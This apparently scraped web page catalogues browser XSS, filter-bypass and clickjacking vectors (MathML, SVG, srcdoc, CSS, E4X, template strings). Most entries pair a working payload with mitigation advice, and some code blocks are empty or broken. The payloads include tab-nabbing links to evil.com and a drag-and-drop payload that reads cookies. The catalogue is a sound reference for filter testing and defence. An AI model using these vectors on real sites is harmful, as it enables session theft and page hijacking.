### Passive JavaScript execution via MathML on Firefox[#130](#130)[test](test/#130)
Modern Firefox versions allow usage of inline MathML. While other user agents don't support the href attribute for MathML elements (yet), Firefox does and thereby enables passive JavaScript execution. Note that supporting href for MathML elements is a feature - introduced with MathML 3\. The same effect can be observed by using xlink:href. The statusline action further enables obfuscation of the actual link target - and in this example hides the JavaScript URI.
```
<math href="javascript:alert(1)">CLICKME</math> <math> <!-- up to FF 13 --> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> <!-- FF 14+ --> <maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> </math>

### Transparent overwriting of request-data using HTML5 "dirname" attributes[#136](#136)[test](test/#136)
Opera and Chrome support the HTML5 attribute "dirname", that can be used to have the browser communicate the text-flow direction of another input element by adding it to the server-sent request body. By injecting a "dirname" attribute in an existing form, an attacker can overwrite user input and thereby make it guessable for malicious purposes. The overwritten value would then be "ltr" or "rtl" - depending on the actual text-flow direction. The "dirname" attribute is not yet supported by Internet Explorer or Firefox.
```
<form action="" method="post"> <input name="username" value="admin" /> <input name="password" type="password" value="secret" /> <input name="injected" value="injected" dirname="password" /> <input type="submit"> </form>
```
Avoid white-listing the "dirname" attribute in user generated content. The effects on existing forms are hard to predict and might cause privacy problems and information leaks.

### Executing JavaScript via cross-origin HTML imports[#138](#138)[test](test/#138)
Google Chrome Canary already supports HTML Imports. They allow to fetch resources from arbitrary origins (as long as the Access-Control-Origin headers are set properly) and inject it into the requesting DOM. Currently, only Chrome supports the feature and it's still hidden behind a flag. It is however to be expected to be supported by all major browsers.
```
<link rel="import" href="test.svg" />
```
Make sure that HTML imports are limited to the same origin. Avoid permitting users to have <link> tags in user-generated rich-text as they can now directly execute JavaScript without any user interaction.

### Executing JavaScript via "srcdoc" attribute in Iframes[#139](#139)[test](test/#139)
HTML5 specifies a "srcdoc" attribute for Iframes. This attribute, quite similar to data URIs, is capable of hosting HTML text to be rendered by the browser as the content of the Iframe. The pseudo-document created by the "srcdoc" attribute has full access to the hosting domain, although it runs in an artificial origin. This attribute should if at all only be used in combination with the Iframe Sandbox.
```
<iframe srcdoc="<img src=x:x onerror=alert(1)>" />
```
Make sure to use "srcdoc" only in combination with the Iframe Sandbox. Otherwise, XSS attacks might slip through existing filters' rules as the payload can be HTML encoded.

### HTML5 <picture> element and "srcset" attributes[#142](#142)[test](test/#142)
HTML5 offers the <picture> element for responsive and accessible images. The <picture> element essentially wraps <source> and <img> elements and provides a way to offer alternative content. Novel here is that the "srcset" attribute allows to trigger load events. This is likely to bypass existing WAF systems.
```
<picture><source srcset="x"><img onerror="alert(1)"></picture> <picture><img srcset="x" onerror="alert(1)"></picture> <img srcset=",,,,,x" onerror="alert(1)">
```
In case a black-list based XSS filter is in use, make sure that the combination of event handler and "srcset" attribute is detected by it as well.

### Bypassing window.opener protection of rel="noreferrer"[#143](#143)[test](test/#143)
In many situations, a developer might want to mitigate tab-nabbing attacks that are using window.opener and its writable location object. To do so, it is recommended to apply external links with a rel="noreferrer" attribute. Depending on how the external links are embedded, the protection might however fail - and window.opener might not be null but still be exposed. The problem here is, that rel attributes only work for <a> and <area>. Links and link-like navigation features can however be embedded in multiple other ways. Further note, that MSIE pretty much ignores the standard and doesn't destroy window.opener without further effort.
```
<a href="//evil.com" target="_blank" rel="noreferrer">CLICK</a> // window.opener will be null <map><area href="//evil.com" target="_blank" rel="noreferrer">CLICK</area></map> // window.opener will be null <svg><a xlink:href="//evil.com" rel="noreferrer">CLICK</a></svg> // window.opener still works <form action="//evil.com" target="_blank" rel="noreferrer"><input type="submit"></form>// window.opener still works <form id="test" rel="noreferrer"></form><button form="test" formtarget="_blank" formaction="//evil.com">CLICKME</button>// window.opener still works <math href="//evil.com" xlink:show="new" rel="noreferrer">CLICKME</math>// window.opener still works
```
Do not rely on the noreferrer attribute value alone, but rather use a dedicated de-referrer page that in additon deactivates window.opener using window.opener.__proto__=null.

### Generating greater-than with HTML5 Named Character References[#144](#144)[test](test/#144)
Some of the HTML5 Named Character references generate two ASCII characters, such as <⃒ and >⃒. This can in some exotic scenarios be abused to generate valid HTML without actually closing a tag with an ASCII greater-than. The entity will produce the greater-than so we do not have to.
```
<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe> <a href="javascript:'<svg onload=alert(1)>⃒'">CLICK</a>
```
Be very careful when HTML attributes are used to carry HTML data that is later being used on the website. When entities are accepted, some HTML entities can produce dangerous characters even if they don't look like it on first sight.

### CDATA section parsing issues[#39](#39)[test](test/#39)
Firefox and Opera allow using CDATA section delimiters in HTML - in the stripped form "<![" as well as including padding like "<![CDATA[". This can cause problems for filter mechanisms since those delimiters can be used for massive obfuscation. Firefox 4 and Opera 11.60 have fixed the issue. However, modern browsers have a separate XML parsers for inline SVG or MathML, which allow to use the CDATA sections (including a little irregular shape).
```
<!-- up to Opera 11.52, FF 3.6.28 --> <![><img src="]><img src=x onerror=alert(1)//"> <!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> <svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>

### Plaintext tags used for markup obfuscation[#40](#40)[test](test/#40)
This vector works on all tested user agents and shows how several filtering solutions can be tricked into accepting malicious HTML. A badly written filter will assume the error handler is part of the first image's "src" attribute and accept the incoming data.
```

```
Don't rely on weak regular express for markup filtering. Use whitelists for allowed tags and rely on a filter solution based on a heavily tested tokenizer/parser.

On Opera 10.10 and earlier more tag/style combinations like background:url() and background-image:url() work as well. Also works combination like content:url(svg), but at the moment it is sensitive to events and <script> tags before and after.

### Tags nested in other tags to trick filters[#57](#57)[test](test/#57)
Chrome, Firefox and Safari will execute JavaScript with this example nesting - while Opera and IE wouldn't.
```
<b <script>alert(1)//</script>0</script></b>
```
This vector is ideal to trick regular expression based HTML filters and sanitizers. Make sure your filters are aware of the fact that some user agents evaluate <b <script> while others will prefer <b><script>.

### XSS using accent grave when copying innerHTML (1)[#59](#59)[test](test/#59)
Internet Explorer treats the accent grave (`) as an attribute delimiter like " and '. The quotation mark (") will be stripped from the attribute value when using the innerHTML property in case it doesn't contain space.
```
<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
```
Make sure the HTML filter you use is aware of the fact that the accent grave is a valid attribute delimiter for IE too - especially if users are allowed to post harmless JavaScript (JSReg, Google Caja). Be very careful when handling user generated HTMl in the DOM later on. The innerHTML property does not always contain what it's supposed to.

### JavaScript execution via src attribute[#63](#63)[test](test/#63)
Most browsers allow executing JavaScript via <IFRAME> "src" attributes - this is expected behavior. Interesting is though that this can be extended to other tags too. Opera 10, Chrome and Firefox execute JavaScript by using the <EMBED> tag while Opera 10 and Opera Mobile even execute JavaScript with <SCRIPT>, <IMG> and <IMAGE> and a matching "src" attribute as well as early Internet Explorer versions.
```
<embed src="javascript:alert(1)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF <img src="javascript:alert(2)"> <image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓ <script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓
```
Make sure "src" attributes can never contain non-HTTP-URLs to prevent XSS or worse.

### Special tags parsing issues[#91](#91)[test](test/#91)
The HTML tagnames start with a-zA-Z (abstracting from ignoring null byte from IE). In addition, there are other structures, parsed as a tag (special tags). They begin with the following characters: !,?, /,%. This has its reasons: DTD, comments, xml-declaration, import-instruction in Internet Explorer, closing tags etc. starts by these characters. These examples show that such tags will inherit some properties of their standard models. [A] Firefox, Opera, Google Chrome, Safari (4.0.4↑), IE 10↑ Standards mode: Parameters of the special tags can not contain a closing parenthesis ">". [B] Safari (up to 4.0.3): Parameter of the special tags can be broken only via "?>". [C] Opera (up to 11.52): Special tag inherits the properties of DTD: inside it you can create a section that starts with "[" and ends with "]". [D] IE 9↓ Standards mode, Safari (up to 4.0.3): A sequence like "<% ... %>" is an alternative to comments. These features can be used for obfuscation and bypassing filters. And remember, do not parse as a tag in HTML structure like "<è foo=...>".
```
[A] <? foo="><script>alert(1)</script>"> <! foo="><script>alert(1)</script>"> </ foo="><script>alert(1)</script>"> [B] <? foo="><x foo='?><script>alert(1)</script>'>"> [C] <! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>"> [D] <% foo><x foo="%><script>alert(1)</script>">

### JavaScript execution via MHTML-scheme[#96](#96)[test](test/#96)
This example used the ability to convert the file with any conent type into a web archive using mhtml URI scheme to run JavaScript. For the first time this feature was discovered by Stepanishchev E. in 2006 and became known among web developers as an alternative to data URI for IE6-7\. In 2007, Hasegawa Y. independently proposed a way to use this mhtml feature for XSS. Followed fix was incomplete because it doesn't take into account the possibility of addressing to the contents of the archive using "!value". This possibility as well as the possibility to access from the archive contents to a host domain are used in the example below. Using this vector all sites that do not contain two new lines in the source code and allows users to insert new line were vulnerable - as well as all sites that allow users to upload images without post-upload conversion etc. A link to this web archives could be specified via <IFRAME> or location.href and comparable. This example was published in June 2010, fix released in April 2011\. The mhtml URI scheme doesn't determine the content type now, but archive contents still has access to the host domain.

### Internet Explorer conditional comments - XSS via [if]> and <img> injection[#115](#115)[test](test/#115)
Conditional comments on Internet Explorer can cause trouble as soon as an attacker is able to inject rectangular brackets wrapping the words if and endif with almost arbitrary suffixes. A condition always being true will lead to immediate parsing of the enclosed markup on all tested Internet Explorer versions. The second example injects an <img> tag into the comment condition leading to immediate JavaScript execution as well. The examples are worked up to IE 9 standards mode.
```

```
Make sure an attacker cannot turn a comment injection into a conditional comment by using rectangular brackets such as shown in the example. Comment content should be escaped like regular markup - the delimiting sequence --> is neither sufficient nor necessary to successfully close a comment.

Opera as well as other browsers allow to break out attribute selectors and other CSS constructs with {...} - opening the possibility for declaring new properties and assigning values - such as -o-link and -o-link-source. In this case those proprietary properties allow overlaying any selected element with a JavaScript URI link href. Note that as of Opera 11 -o-link only applies for <a> tags. On IE selector is broken up to IE 7 standards mode.

```
In case users are allowed to submit CSS make sure the properties allowed are whitelisted and attribute selector content does not allow the combination {...} because it breaks out the attribute selector and allows declaration of new properties.

### Breaking pointer-events:none with nested links[#33](#33)[test](test/#33)
Firefox 3.6+ allows using CSS "pointer-events" with value "none" to make sure an element will not react on any mouse/pointer based event. This feature enables for example placing a DIV over another DIV without blocking the click events addressed to the underlying DIV.
```
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
```
The feature breaks as soon as <A> elements are being used in combination with "pointer-events:none" - containing other <A> elements. <A> elements should not be used for pointer-event logic at all - especially not when containing user controlled HTML.

### Opera @import based XSS inside attribute selectors[#44](#44)[test](test/#44)
Opera 10 and later version including latest Opera 10.5 allow breaking out an attribute selector with {} and use @import declarations afterwards. The MIME type for the imported file does not matter - also it can be loaded from arbitrary domains. The imported file contains CSS code to apply a JavaScript URI to all elements on the page to hijack any incoming click.
```
<style>*[{}@import'test.css?]{color: green;}</style>X
```
Make sure in user submitted CSS the contents of attribute selectors are properly escaped with backslashes. Also make sure to use a CSS property:value whitelist to forbid properties like -o-link and -o-link-source.
```

### CSS encoding and escaping[#61](#61)[test](test/#61)
[a] Encoding. There are only three tricks to encode characters. [1] You can change the number of zeros: \0A -> \00000A [2] You can change the capital letter: \0A -> \0a [3] You can change the whitespace* accepted as delimiters after the encoded character. Firefox, Google Chrome, Internet Explorer, Opera, Safari: 9,10,12,13,32 Internet Explorer (IE7↓ Standards mode): 11,160,8192-8203,12288,65279 Properties in IE7↓ Standards mode may contain encoded null-character (\0). On Opera and in IE8+ Standards mode encoded null-character cuts off the right side of a CSS structure. The volume of possible encoding is different in the browsers. For example, FF can not encode parentheses, which is part of the functional notation. [b] Escaping. In addition, you can put a backslash before the character. Option of writing a null-character in Internet Explorer 7↓ Standards mode is escaping of any whitespace-character accepted as delimiters: col\ or:red In IE quirks mode inside the url() function a backslash can be treated as equivalent of a slash and thus will not have the escape role. Of course, these methods can be combined with other encoding and obfuscation (for example, change case of original characters). * These are given in decimal codes.

### SVG images containing XML data - with disabled JavaScript[#90](#90)[test](test/#90)
Opera supports the CSS property "content" for style attributes. The SVG image can contain SVG as well as HTML code. The example for Opera 10.x shows how a <FORM> tag can be used to trick the user into clicking a button and thus executing JavaScript. Example for Opera 12.x shows one of the problems (along with a client side DoS, running the "onblur" event, etc), which is generated because of the possibility to steal a focus via embeded SVG image. The same works of course for SVG files embedded via <IMG> tags.

### Using comments to obfuscate styles[#99](#99)[test](test/#99)
As noted in CSS2.1 specification (and repeated in CSS3), comments may occur anywhere outside other tokens. The cases that are exceptions to this rule are a subject to special attention. First of all the CSS2.1 specification is inconsistent, since, for example, the "!important" token in his definition allows comments. Despite the exclusion this feature in CSS3, IE (8-9 standards mode) and Firefox 13 still support "!/**/important". You can find more obvious mistakes, for example, the same Firefox 13 allows "font-family: Ar/**/ial". Special interest are exceptions to this rule in IE. The first example shows the possibility for comments in the value of the property. The third example, in addition to demonstrating a similar possibility inside the "url()" function, is also an interesting case, when a comment can not be replaced by any other structure (another space or encoded space "\000020" will not give necessary effect). Typically these cases occur when the token does not match your precise definition. In this example token "url" can not contain a space character. Inside the <STYLE> tag, there are rules for parsing the SGML comment delimiters, that are allowed before and after statements regardless of the form (opening/closing) and nesting.
```
XXX<style> *{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ <!-- --><!--*{color:red} /* all UA */ *{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ </style>

If any* part of the CSS-declaration (property or value) contains a left curly brace ({ - not as part of a string), the CSS declaration cannot be closed without using a matching right curly brace (}). In most browsers this feature can not be used to bypass filters - as they require to close the strings, functions and attributes inside blocks. IE nevertheless does not require to close function inside such blocks. It is important to take into account especially when filtered styles are inside the targeted tag's attribute.

### Executing JavaScript using ES6 Template Strings[#140](#140)[test](test/#140)
ES6 specifies a new language feature called "Template Strings" (often also referred to as "Quasi Literals" alongside multi-line strings and others). This allows to execute arbitrary JavaScript code without using parenthesis but back-ticks instead. Inside back-tick delimited strings, placeholders such as ${} can wrap executable code.
```
<script> alert`1`; var something = `abc${alert(1)}def`; ``.constructor.constructor`alert\`1\````; </script>
```
Make sure that your IDS, filter and other protective systems are aware of the fact, that back-ticks (U+0060) are now capable of initiating execution of methods and functions in JavaScript. Further make sure, that symbols such as ${} cannot be injected into existing template and multi-line strings.

## E4X向量
### Self-including E4X-based JavaScript snippet[#25](#25)[test](test/#25)
This <SCRIPT> tag tries to include the very same page it is being executed from - and then executes the {}-delimited E4X payload. To avoid having Firefox throw an error during inclusion the ending sequence ;0 is necessary.
```
<script src="#">{alert(1)}</script>;1
```
E4X is extremely dangerous since any page can include sources providing valid XML and the mentioned semi-colon delimiter. For effective protection websites must be applied with a DOCTYPE - or contain invalid markup. There are many variations for the ending delimiter - as long it is valid JavaScript and not indicating the page is XML only it will work (;1, ,1, ._, etc..)

### E4X-based UTF-7 JavaScript/HTML snippet stealing cross-domain markup[#26](#26)[test](test/#26)
In case an attacker can inject the character sequence beginning with .toXMLString() it's possible to include the victimized website in a <SCRIPT> tag loaded from an arbitrary page and steal the markup of the included page - across domain and protocol borders. Note that the whole vector is encoded in UTF-7\. This is possible since the including <SCRIPT> tag can decide via charset attribute what charset to use.
```
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
```
Make sure all sites are being applied with a defined charset like UTF-8\. Also incoming data should be converted from UTF-7 before being escaped with htmlentities() or comparable methods. All websites containing sensitive data should be applied with a DOCTYPE.

### E4X used to close an opening <SCRIPT> tag and {} evaluation[#75](#75)[test](test/#75)
In this example an E4X object is being used to close a half-open <SCRIPT> tag and evaluate code in the global scope afterwards via the E4X curly bracket delimiters. This technique will not work anymore as soon Firefox uses the already integrated HTML5 parser (html5.enable=true)

### SVG payload obfuscation with gzipped HTML and MIME type image/svg-xml[#105](#105)[test](test/#105)
Opera allows displaying compressed SVG images without the usually necessary encoding header. This works for almost arbitrary data as long as the content type image/svg+xml is set - or image/svg-xml like in this example. Notice that the compressed data can be truncated. Opera will still accept it and render the <script> tag and execute the alert(1) - most other Gzip parsers will break though - rendering any WAF or similar tool trying to analyze the payload useless (gzip 1.3.12 states the payload contains 50+ MB of binary gibberish). The example contains no actual SVG code - just a regular <script> tag with a XHTML namespace attribute.

### SVG chameleon behavior via embedded XSLT[#125](#125)[test](test/#125)
This SVG chameleon file can be embedded via <embed> on most, and via <img> on most modern browsers. Thanks to the embedded XSLT stylesheet, it will change it's appearance, depending on how it is embedded or displayed. In an <img> tag it just shows a red dot. But opened directly or via an <iframe> or <embed>, the XSLT turns all SVG into (X)HTML and an alert will show. While most modern browsers show this behavior, Opera will completely mess it up, and show an alert when used via <embed> and an <iframe> when used via <img> (!). Chrome will show a broken image and an alert.

### Opera active JavaScript execution via STYLE in SVG[#129](#129)[test](test/#129)
Additional to script execution via "xlink:href" in SVG elements such as <image>, <animation>, <foreignObject>, Opera 11 allows to utilize filters (as well as other CSS properties listed in #109) to accomplish the same. Note that either these CSS properties, as well as the analogous attributes (the filter attribute in particular) can be used in this case. Both style and analogous attributes in inline SVG should be considered unsafe.
```
<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>")'> <!-- Same effect with <image filter='...'> --> </svg>
```
Do not allow style and filter attributes inside user generated SVG data. It's considerably the best to generally avoid user generated SVG data - if possible.

### SVG <set> and <animate> elements allow key-logging w/o JavaScript[#132](#132)[test](test/#132)
It is possible to achieve an injection capable to exfiltrate keyboard events without any JavaScript execution via SVG and set/animate timing attributes. In essence, an access key can be specified to trigger events inside an SVG. In case an inline SVG is being used, the listener for these keys observes the whole document - and not just the SVG itself. This means that even keystrokes into a form input trigger the SVG access key handler. Once this access key handler is being combined with adding a new keystroke-depending image source to an existing image, the form input will be filled, and the SVG will reset a hidden image source according to the key being pressed and thereby silently exfiltrate the data. Since all this works without using any JavaScript, it was also possible to execute this attack in latest Thunderbird versions - with the vector invisibly wrapped inside the mail-body. The problem has been reported and fixed, CVE-2011-3663 has been assigned. Current stable versions of Firefox still allow to observe the problem - using a network traffic monitor/Firebug is recommended.

### Executing JavaScript via "from" attribute in SVG and inline-SVG[#137](#137)[test](test/#137)
It is commonly known, that the <animate> element in combination with the "to" parameter can be used to change existing attributes to potentially active values and cause arbitrary script execution. It is nevertheless also possible to use the "from" attribute for the very same purpose - albeit this being rather counter-intuitive. The given example code snippet describes an SVG containing a circle that encapsulates an <animate> element. This uses the "from" attribute to set the "href" attribute of the link encapsulating the circle to a JavaScript URI. Clicking the circle will execute the JavaScript.
```
<svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /> </a>
```
Avoid inline-SVG in combination with user-generated content. In case SVG needs to be used, avoid potentially harmful content for "to", "from", "values" and "by" attributes.

### Executing JavaScript using ES6 Template Strings in SVG[#141](#141)[test](test/#141)
The new language features shown in #140 can also be used in the context of an SVG image. Here, the named entity of the back-tick, the ` can be used to initiate execution of a function or method.
```
<svg><script> alert`1` <p> <svg><script> alert`1` <p>
```
Make sure that your IDS, filter and other protective systems are aware of the fact, that in SVG, HTML-encoded back-ticks (U+0060) are now capable of initiating execution of methods and functions in JavaScript.

### Arbitrary payload injection via XML External Entities (XXE)[#64](#64)[test](test/#64)
Chrome and Safari allow using external XML entities to reference payload for an entity. The example shows that the entity &x; is now being filled with the content of the given file. The document must be delivered as XML or XHTML. Note that the absolute URL for the source of XXE is required.
```

```
In case an attacker can inject data into the DOCTYPE area of the targeted website it's easy to fool filtering mechanisms since the actual payload is hidden in a harmless looking entity. Make sure no injections in that area are possible.

### Executing JavaScript with WD-XSL, <eval> elements and "expr" attributes[#135](#135)[test](test/#135)
Internet Explorer, when loading an XML document in an older document mode, allows the use of a legacy XSL version called WD-XSL. This version, shipped with several proprietary extras, allows execution of JavaScript and other script code in very uncommon ways. The browser for instance supports an <eval> element and "expr" attributes that can directly be fed with script code or references to existing JavaScript and XMLDOM methods. Other than MSXSL script, direct DOM access is possible with the use of WD-XSL.
```
<?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> </template> </stylesheet>
```
Websites rendered in XML- or XML-like MIME types should not allow untrusted input without heavy filtering. Unknown elements can cause unexpected script execution depending on browser and render mode. The use of custom namespaces in user generated input should be prohibited.

### Internet Explorer applying behavior via <import namespace>[#116](#116)[test](test/#116)
Internet Explorer allows to apply namespaces and attach behaviors not only by using CSS but <import> or <?import> tags. The example shows how to work with HTML+TIME behaviors without using style attributes or tags and cause script execution via the to attribute. If there is no attribute "targetElement", will be overridden "innerHTML" property of the <body> tag. To limit the area that be changed, you can use the attribute "targetElement". This syntax is also supported in IE9 for non-obsolete behaviors.
```
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>">

### Content extraction via view-source[#119](#119)[test](test/#119)
To show the source code of a web page inside the web browser Mozilla Firefox or Google Chrome, "view-source:" can be used as a prefix for the URL. Firefox - and that is essential for this vector - allows iframes to show view-source: URLs. With the combination of a "textarea" tag, just two drags to perform this attack are needed, as in the case of elements like images. The first drag is to select an element and the second to drag an element out of the iframe into the text area. This method also bypasses CSS and JS based clickjacking protection.
```

### Pop-up blocker bypass[#120](#120)[test](test/#120)
A web browser like Firefox distinguishes between trusted and not trusted events, depending on the situation. User interactions like a click will be trusted for the reason that they are made explicitly by the user. If a web page initiates an event like opening a pop-up window automatically, the event is not trusted and therefore blocked. Tests have shown that other browsers like Google Chrome or Opera behave similarly. With the use of clickjacking techniques, an attacker can get its victim to create a trusted event by clicking on a link that opens one or more pop-up windows. Thus, an attacker can get the victim to unknowingly trigger a trusted event by doing a click. This event can be recycled by an attacker for later usage or directly used to e.g. generate pop-up windows that the user does not desire.
```
<script> function makePopups(){ for (i=1;i<6;i++) { window.open('popup.html','spam'+i,'width=50,height=50'); } } </script> <body> <a href="#" onclick="makePopups()">Spam</a>

### SVG masking[#121](#121)[test](test/#121)
Masking elements can greatly simplify a clickjacking attack. Here, a "body" tag with the "style" attribute "background:gray" is given. As the name suggests, the background of the web page will have the color gray. The "iframe" tag holds the attributes "src" and "style". The URL of the target web page is the value of the "src" attribute. Inside the "style" attribute there is information to the width, the height, and the border of the web page. Finally, there is the property "mask" with "url(#maskForClickjacking)". This "url" points to an SVG with the "id" value "maskForClickjacking". On the next line, an "svg" tag with the namespace "svg" is de?ned. After that, a "mask" tag with the attributes "id", "maskUnits" and "maskContentUnits" is inside the "svg" tag. The attribute "id" holds the value "maskForClickjacking", which is exactly the value inside the "url". The attribute "maskUnits" de?nes the coordinate system for the data of "x", "y", "width" and "height". The second attribute "maskContentUnits" de?nes the coordinate system for the contents of the "mask" with "objectBoundingBox". Inside the "mask" tag, there are two tags called "rect" and "circle". Each tag holds information to the position and is determined by the geometric shape the width and height or radius. The attribute "fill", with the value "white", ensures that the viewing whole in the mask is visible.
```

### Classjacking with jQuery[#123](#123)[test](test/#123)
CSS offers the attribute "class" as a selector to style a group of HTML elements. Consequently, it is feasible to style e.g. "span" and "a" tags. Here, the "span" tag has the value "foo" and the "a" tag the value "bar" inside the "class" attribute. This values can be used to define the font size or other CSS-specific properties. The first "script" tag holds an "src" attribute with the value "http://code.jquery.com/jquery-1.4.4.js". It is a reference to a file of the "jQuery JavaScript Library v1.4.4". The name "jQuery" stands for a JavaScript Library that simplifies HTML document traversing, event handling, animating, and Ajax interactions. So it is ideally suited to deal with user interactions and to manipulate them, as required for complex UI redressing attacks. Thus, "jQuery" is given in the second "script" tag. At first, the "span" tag is selected, which holds the value "foo" in the "class" attribute. After that, ".click" is implemented. It can be used to bind an event handler to the "click" JavaScript event, or to trigger that event on an element. In this case, an alert window will be executed with the text "foo" after clicking on the "Some text" value of the "span" tag. After closing the alert window, a click event is triggered on the "a" tag with the value "bar" inside the "class" attribute. Analogue to the first event, an alert window appears with the text "bar". After closing the alert window, the web browser will redirect the web page to "http://html5sec.org". If there is a click on the link "http://www.example.org" and not on the text "Some text", an alert window is displayed with the text "bar" followed by a redirection to "http://example.org" and not "http://html5sec.org". This behaviour follows from the "href" attribute.
```
<span class=foo>Some text</span> <a class=bar href="http://www.example.org">www.example.org</a> <script src="http://code.jquery.com/jquery-1.4.4.js"></script> <script> $("span.foo").click(function() { alert('foo'); $("a.bar").click(); }); $("a.bar").click(function() { alert('bar'); location="http://html5sec.org"; }); </script>

### Passive XSS via Drag&Drop of specially crafted URIs[#131](#131)[test](test/#131)
It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) internal protection and execute JavaScript Drag and Drop by using capitalization and Feed protocol, and to run that JavaScript on the top page if you can include the malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious IFrame should deceive the user to drag and drop a JS to the drop box which can be concealed in a hidden "Textarea" element.
```
<b>drag and drop one of the following strings to the drop box:</b> <br/><hr/> jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b> <br/><hr/> feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// <br/><hr/> <div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
